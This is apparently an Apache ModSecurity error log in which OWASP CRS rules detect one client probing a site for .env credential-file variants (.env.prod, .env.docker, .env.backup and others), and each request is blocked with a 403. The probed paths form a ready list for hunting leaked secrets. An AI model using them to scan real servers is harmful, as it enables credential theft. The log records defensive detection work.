[Sat Oct 24 21:29:06.130919 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at1bYiTLSCb4RJ-3cSWVuQAAAAE"]
[Sat Oct 24 21:29:06.394454 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1bYiTLSCb4RJ-3cSWVugAAAAE"]
[Sat Oct 24 21:29:06.394730 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1bYiTLSCb4RJ-3cSWVugAAAAE"]
[Sat Oct 24 21:29:06.395092 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at1bYiTLSCb4RJ-3cSWVugAAAAE"]
[Sat Oct 24 21:29:06.501670 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1bYiTLSCb4RJ-3cSWVuwAAAAE"]
[Sat Oct 24 21:29:06.501916 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1bYiTLSCb4RJ-3cSWVuwAAAAE"]
[Sat Oct 24 21:29:06.502252 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at1bYiTLSCb4RJ-3cSWVuwAAAAE"]
[Sat Oct 24 21:29:06.670534 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1bYiTLSCb4RJ-3cSWVvAAAAAE"]
[Sat Oct 24 21:29:06.670826 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1bYiTLSCb4RJ-3cSWVvAAAAAE"]
[Sat Oct 24 21:29:06.671170 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.sample"] [unique_id "at1bYiTLSCb4RJ-3cSWVvAAAAAE"]
[Sat Oct 24 21:29:06.984976 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1bYiTLSCb4RJ-3cSWVvQAAAAE"]
[Sat Oct 24 21:29:06.985254 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1bYiTLSCb4RJ-3cSWVvQAAAAE"]
[Sat Oct 24 21:29:06.985581 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.example"] [unique_id "at1bYiTLSCb4RJ-3cSWVvQAAAAE"]
[Sat Oct 24 21:29:07.285533 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1bYyTLSCb4RJ-3cSWVvgAAAAE"]
[Sat Oct 24 21:29:07.285802 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1bYyTLSCb4RJ-3cSWVvgAAAAE"]
[Sat Oct 24 21:29:07.286170 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dev"] [unique_id "at1bYyTLSCb4RJ-3cSWVvgAAAAE"]
[Sat Oct 24 21:29:07.576164 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1bYyTLSCb4RJ-3cSWVvwAAAAE"]
[Sat Oct 24 21:29:07.576405 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1bYyTLSCb4RJ-3cSWVvwAAAAE"]
[Sat Oct 24 21:29:07.576792 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at1bYyTLSCb4RJ-3cSWVvwAAAAE"]
[Sat Oct 24 21:29:07.632646 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1bYyTLSCb4RJ-3cSWVwAAAAAE"]
[Sat Oct 24 21:29:07.632886 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1bYyTLSCb4RJ-3cSWVwAAAAAE"]
[Sat Oct 24 21:29:07.633265 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.stage"] [unique_id "at1bYyTLSCb4RJ-3cSWVwAAAAAE"]
[Sat Oct 24 21:29:07.826046 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.ci"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1bYyTLSCb4RJ-3cSWVwQAAAAE"]
[Sat Oct 24 21:29:07.826273 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1bYyTLSCb4RJ-3cSWVwQAAAAE"]
[Sat Oct 24 21:29:07.826598 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.ci"] [unique_id "at1bYyTLSCb4RJ-3cSWVwQAAAAE"]
[Sat Oct 24 21:29:08.064812 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.docker"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1bZCTLSCb4RJ-3cSWVwgAAAAE"]
[Sat Oct 24 21:29:08.065076 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1bZCTLSCb4RJ-3cSWVwgAAAAE"]
[Sat Oct 24 21:29:08.065467 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.docker"] [unique_id "at1bZCTLSCb4RJ-3cSWVwgAAAAE"]
[Sat Oct 24 21:29:08.223144 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.live"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1bZCTLSCb4RJ-3cSWVwwAAAAE"]
[Sat Oct 24 21:29:08.223402 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1bZCTLSCb4RJ-3cSWVwwAAAAE"]
[Sat Oct 24 21:29:08.223733 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.live"] [unique_id "at1bZCTLSCb4RJ-3cSWVwwAAAAE"]
[Sat Oct 24 21:29:08.302889 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1bZCTLSCb4RJ-3cSWVxAAAAAE"]
[Sat Oct 24 21:29:08.303106 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1bZCTLSCb4RJ-3cSWVxAAAAAE"]
[Sat Oct 24 21:29:08.303442 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.preprod"] [unique_id "at1bZCTLSCb4RJ-3cSWVxAAAAAE"]
[Sat Oct 24 21:29:08.405836 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1bZCTLSCb4RJ-3cSWVxQAAAAE"]
[Sat Oct 24 21:29:08.406068 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1bZCTLSCb4RJ-3cSWVxQAAAAE"]
[Sat Oct 24 21:29:08.406394 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.uat"] [unique_id "at1bZCTLSCb4RJ-3cSWVxQAAAAE"]
[Sat Oct 24 21:29:08.823562 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1bZCTLSCb4RJ-3cSWVxgAAAAE"]
[Sat Oct 24 21:29:08.823819 2026] [security2:error] [pid 2733464:tid 2733464] [client 34.171.10.37:46320] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "diag1.sherwinpinturas.com"] [uri "/.env.dist"] [unique_id "at1bZCTLSCb4RJ-3cSWVxgAAAAE"]
